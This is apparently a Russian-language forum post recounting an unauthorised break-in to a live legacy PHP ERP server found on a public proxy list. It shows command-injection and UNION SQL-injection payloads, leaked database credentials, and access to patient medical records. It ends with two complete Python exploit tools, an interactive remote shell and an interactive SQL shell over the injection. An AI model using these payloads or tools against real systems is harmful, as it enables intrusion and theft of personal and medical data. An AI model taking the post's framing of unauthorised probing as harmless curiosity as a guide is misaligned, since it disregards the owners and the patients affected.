Очередные букеты CVE легаси-систем

Как я случайно наткнулся на систему, где безопасность просто… отсутствовала

Был обычный вечер. Я подумывал чем заняться, листал документации и читал посты. И вдруг мне взбрело, просто ради интереса, проверить пару адресов из списка публичных прокси.

1. Тихая гавань

Первый же IP в списке оказался живым. На 80-м порту висел веб-сервер. Старый Apache.

Открываю браузер. Вижу какую-то ERP-систему. Интерфейс схож на типичный лендинг (у основной страницы), PHP-шный. Обычный легаси-проект. Привлекла меня форма обратной связи. Ну конечно же, лендинг, на php, старый да и с Apache, ну как он может быть без CVE)

Конечно, не могло и зацепить что на одном порту — 80, был и Apache-сервер, и публичный прокси.

Решил посмотреть что интересного висит еще;

Попробовал стандартные пути. Один запрос —

GET /controller/

И сервер мне отдал список файлов. 85 PHP-файлов но с нулевым весом, полная карта системы.

2. В поисках

Просматривая названия, два файла привлекли внимание:

  • controller_send_email_form.php — отправка email через форму
  • controller_portal.php — какой-то API

Я уже понял что первый файл как раз та форма, которая зацепила моё внимание на сайте.

Решил попробовать пару SQL-инъекций, пара не удалась, но пара сработала.

3. Проверка

Собрал простой запрос:

POST /controller/controller_send_email_form.php
Content-Type: application/x-www-form-urlencoded

destinatario="; id ;#

Отправил. Ответ:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE. Удаленное выполнение команд. Без логина. Без пароля. Просто через форму обратной связи на лендинге.

www-data — пользователь, под которым работает веб-сервер. У него есть доступ к файлам приложения. В частности — к конфигам.

Набросал псевдо оболочку поверх RCE:

4. Погружение

Сперва думал эскалировать, но эскалации не нашел нужной, ядро было запатченое от Copy Fail.

Через ту же команду прочитал несколько файлов:

cat /var/www/html/erp/connection/variables.php
DB_USER=app_role
DB_PASS=cGFzc3dvcmQxMjM=

Base64. Расшифровывается за секунду. Пароль от базы данных.

Проверил .env в соседней папке:

cat /opt/erp/backend/.env
DB_USER=postgres
DB_PASS=postgres1234

Пароль к суперпользователю PostgreSQL. Классика.

Смотрю дальше — конфиг controller_portal.php:

$type = $_POST['type'];
$token = $_POST['token'];
if ($type == 'index') {
    $query = "SELECT ... FROM documents WHERE token = '$token'";
    $result = pg_query($conn, $query);
}

SQL-запрос строится через конкатенацию с пользовательским вводом.

Отправляю:

POST /controller/controller_portal.php
Content-Type: application/x-www-form-urlencoded

type=index&token=x' UNION SELECT '1','2','3',current_user--

В ответ приходит:

{"tipo_comprobante": "app_role"}

UNION-инъекция работает. Получаю текущего пользователя БД.

Проверяю его права:

POST /controller/controller_portal.php
type=index&token=x' UNION SELECT '1','2','3',(SELECT rolsuper FROM pg_roles WHERE rolname=current_user)--
{"tipo_comprobante": "true"}

Суперпользователь. Не просто доступ к одной таблице — полный контроль над всей СУБД.

Читаю файлы через PostgreSQL:

SELECT pg_read_file('/etc/passwd')

Все работает.

5. Что лежит внутри

Оцениваю масштаб.

База данных — 3 отдельных БД: erp, erp_portal, erp_middleware. Основная — около 240 таблиц.

В таблице документов:

SELECT COUNT(*) FROM documents;

179 847 записей. Счета, фактуры, суммы, налоги, местный аналог ИНН, полные XML-файлы счетов.

В других таблицах — пациенты с ФИО, датами рождения, диагнозами, назначениями, страховыми полисами.

Это не просто коммерческие данные. Это медицинская тайна.

6. Дополнительно

Проверяю, что ещё есть.

  • JWT_SECRET в исходниках фронтенда: erp-super-secret-key-2024. С этим ключом можно подписать любой токен и войти под любым пользователем.

  • CORS: Access-Control-Allow-Origin: *, Access-Control-Allow-Credentials: true. Любой сайт в интернете может отправлять запросы от имени залогиненного пользователя.

  • Пароли в таблице пользователей — в открытом виде, не хешированы.

  • Креды postgres/postgres1234 используются везде — основной сервис, портал, middleware.

7. Итог

Одна форма обратной связи на лендинге дала доступ к серверу. Один конфиг — к базе данных. Одна SQL-инъекция — к 180 тысячам документов.

Ничего не скачивал. Ничего не менял. Просто посмотрел, насколько всё плохо, — Ответ: очень плохо. Система держится на уязвимостях, которые закрываются за 5 минут работы разработчика - одним апгрейдом ПО и двумя строчками кода. Но почему-то не закрыты.

8. Заключение

Сделал для себя выводы. Код, который работает с пользовательским вводом, должен валидироваться на каждом уровне. А безопасность — это не магия, а дисциплина.

Надеюсь, владельцы системы узнают о проблеме раньше, чем кто-то с менее благими намерениями :smiling_face_with_horns:.

Прикрепил детальный код PoC, но анимизировал для того, чтоб не учудил никто ничего. Всё в образовательных целях

poc_cmd.py
#!/usr/bin/env python3
import argparse
import ssl
import urllib.parse
import urllib.request

SSL_CTX = ssl.create_default_context()
SSL_CTX.check_hostname = False
SSL_CTX.verify_mode = ssl.CERT_NONE

RCE_EP = "/controller/controller_send_email_form.php"


def rce(host, port, url_scheme, cmd, timeout=20):
    shell = '";%s;#' % cmd
    data = urllib.parse.urlencode({
        "destinatario": shell,
        "enviar": "1",
        "url": "u",
    }).encode()
    req = urllib.request.Request(
        "%s://%s:%s%s" % (url_scheme, host, port, RCE_EP),
        data=data, method="POST",
    )
    try:
        with urllib.request.urlopen(req, context=SSL_CTX, timeout=timeout) as r:
            return r.read().decode("utf-8", "replace")
    except Exception as e:
        return "<err:%s>" % e


def parse_out(raw: str) -> str:
    lines = raw.replace("<br>", "\n").split("\n")
    out, started = [], False
    for ln in lines:
        if not started:
            if "Unable to access jarfile" in ln or "-Ddestinatario=" in ln:
                started = True
            continue
        if ln.strip():
            out.append(ln.strip().replace("</pre>", "").replace("<pre>", ""))
    return "\n".join(out).strip().replace("</pre>", "").replace("<pre>", "")


def run_rce(host, port, url_scheme, cmd):
    return parse_out(rce(host, port, url_scheme, cmd))


def main():
    p = argparse.ArgumentParser(description="unauth RCE PoC (command injection)")
    p.add_argument("host", nargs="?", default="example.com")
    p.add_argument("--port", type=int, default=443)
    p.add_argument("--scheme", default="https", choices=["http", "https"])
    p.add_argument("--cmd", help="run a single shell command and exit")
    p.add_argument("--probe", action="store_true", help="connectivity + identity probe")
    a = p.parse_args()

    if a.probe:
        print("[+] probing %s..." % a.host)
        print(run_rce(a.host, a.port, a.scheme, "echo PROBE_OK; id; hostname"))
        return

    if a.cmd:
        print(run_rce(a.host, a.port, a.scheme, a.cmd))
        return

    print("[+] interactive RCE shell on %s (www-data). Type 'exit' to quit." % a.host)
    cwd = "/var/www/html"
    while True:
        try:
            cmd = input("%s$ " % cwd)
        except (KeyboardInterrupt, EOFError):
            print()
            break
        cmd = cmd.strip()
        if not cmd:
            continue
        if cmd in ("exit", "quit"):
            print("bye")
            break
        if cmd.startswith("cd"):
            n = cmd[2:].strip() or cwd
            r = run_rce(a.host, a.port, a.scheme, "cd %s && pwd" % n)
            if r and not r.startswith("None"):
                cwd = r.strip()
            continue
        print(run_rce(a.host, a.port, a.scheme, "cd %s && %s" % (cwd, cmd)))


if __name__ == "__main__":
    main()

poc_db.py
#!/usr/bin/env python3
import argparse
import json
import ssl
import urllib.parse
import urllib.request

SSL_CTX = ssl.create_default_context()
SSL_CTX.check_hostname = False
SSL_CTX.verify_mode = ssl.CERT_NONE

SQLI_EP = "/controller/controller_portal.php"


def sqli_raw(host, port, url_scheme, token, timeout=30):
    data = urllib.parse.urlencode({"type": "index", "token": token}).encode()
    req = urllib.request.Request(
        "%s://%s:%s%s" % (url_scheme, host, port, SQLI_EP),
        data=data, method="POST",
    )
    try:
        with urllib.request.urlopen(req, context=SSL_CTX, timeout=timeout) as r:
            return r.read().decode("utf-8", "replace")
    except Exception as e:
        return "<err:%s>" % e


def exec_sql(host, port, url_scheme, sql):
    """Run arbitrary SQL via the UNION injection (aggregation channel)."""
    wrapped = "(SELECT string_agg(t::text, chr(10)) FROM (%s) t)" % sql.rstrip(";")
    payload = "x' UNION SELECT '1','2','3',%s--" % wrapped
    raw = sqli_raw(host, port, url_scheme, payload)
    try:
        arr = json.loads(raw)
        if isinstance(arr, list) and arr:
            return arr[0].get("tipo_comprobante", "") or ""
    except Exception:
        pass
    return raw


def parse_record(s):
    """Parse a PostgreSQL record literal: (a,"b,c",d) -> [a, b,c, d]."""
    s = s.strip()
    if not (s.startswith("(") and s.endswith(")")):
        return [s]
    inner = s[1:-1]
    fields, buf, inq, i = [], "", False, 0
    while i < len(inner):
        c = inner[i]
        if inq:
            if c == '"':
                if i + 1 < len(inner) and inner[i + 1] == '"':
                    buf += '"'; i += 2; continue
                inq = False; i += 1; continue
            buf += c; i += 1; continue
        if c == '"':
            inq = True; i += 1; continue
        if c == ',':
            fields.append(buf); buf = ""; i += 1; continue
        buf += c; i += 1
    fields.append(buf)
    return fields


def render(text):
    if text is None or text.strip() == "":
        print("(0 rows)")
        return
    rows = [parse_record(r) for r in text.split("\n") if r != ""]
    ncols = max(len(r) for r in rows)
    for r in rows:
        while len(r) < ncols:
            r.append("")
    widths = [max(len(r[c]) for r in rows) for c in range(ncols)]
    hdr = " | ".join("col%d" % (c + 1) for c in range(ncols))
    sep = "-+-".join("-" * widths[c] for c in range(ncols))
    print(hdr)
    print(sep)
    for r in rows:
        print(" | ".join(r[c].ljust(widths[c]) for c in range(ncols)))
    print("(%d row%s)" % (len(rows), "s" if len(rows) != 1 else ""))


def handle_meta(line, host, port, scheme):
    parts = line[1:].split(None, 1)
    cmd = parts[0].lower()
    arg = parts[1].strip() if len(parts) > 1 else ""
    arg = arg.replace("'", "''")

    def run(sql):
        out = exec_sql(host, port, scheme, sql)
        if out.startswith("<err:"):
            print(out)
        else:
            render(out)

    if cmd in ("tables", "dt") or (cmd == "schema" and not arg):
        run("SELECT table_name FROM information_schema.tables "
            "WHERE table_schema='public' ORDER BY 1")
    elif cmd == "schema" and arg:
        run("SELECT 'CREATE TABLE '||table_name||' ('||"
            "string_agg(column_name||' '||data_type||"
            "CASE WHEN is_nullable='NO' THEN ' NOT NULL' ELSE '' END, ', ' "
            "ORDER BY ordinal_position)||');' "
            "FROM information_schema.columns WHERE table_name='%s' "
            "GROUP BY table_name" % arg)
    elif cmd in ("columns", "d") and arg:
        run("SELECT column_name, data_type, is_nullable "
             "FROM information_schema.columns WHERE table_name='%s' "
             "ORDER BY ordinal_position" % arg)
    elif cmd == "help":
        print(".tables            list tables in schema 'public'")
        print(".dt                alias for .tables")
        print(".schema            list tables")
        print(".schema TBL        CREATE TABLE statement for TBL")
        print(".columns TBL       columns of TBL")
        print(".d TBL             alias for .columns TBL")
        print("\\q                 quit")
        print("<SQL>;             run SQL (e.g. SELECT * FROM tbl LIMIT 10;)")
    else:
        print("unknown meta-command: .%s  (type .help)" % cmd)


def main():
    p = argparse.ArgumentParser(description="interactive SQL shell via SQLi")
    p.add_argument("host", nargs="?", default="example.com")
    p.add_argument("--port", type=int, default=443)
    p.add_argument("--scheme", default="https", choices=["http", "https"])
    p.add_argument("-c", "--command", metavar="SQL", help="run a single SQL command and exit")
    a = p.parse_args()

    if a.command:
        out = exec_sql(a.host, a.port, a.scheme, a.command)
        if out.startswith("<err:"):
            print(out)
        else:
            render(out)
        return

    print("[+] SQL shell via SQLi (superuser). Type SQL; '\\q' to quit.")
    buf = ""
    while True:
        try:
            line = input("db=> " if not buf else "db-> ")
        except (KeyboardInterrupt, EOFError):
            print()
            break
        line = line.strip()
        if line in ("\\q", "exit", "quit"):
            print("bye")
            break
        if line == "" and not buf:
            continue
        if line.startswith(".") and not buf:
            handle_meta(line, a.host, a.port, a.scheme)
            continue
        buf += " " + line.rstrip("\\")
        if line.endswith("\\"):
            continue  # multi-line: wait for next line
        sql = buf.strip().rstrip(";")
        buf = ""
        if sql.strip():
            out = exec_sql(a.host, a.port, a.scheme, sql)
            if out.startswith("<err:"):
                print(out)
            else:
                render(out)


if __name__ == "__main__":
    main()

2 лайка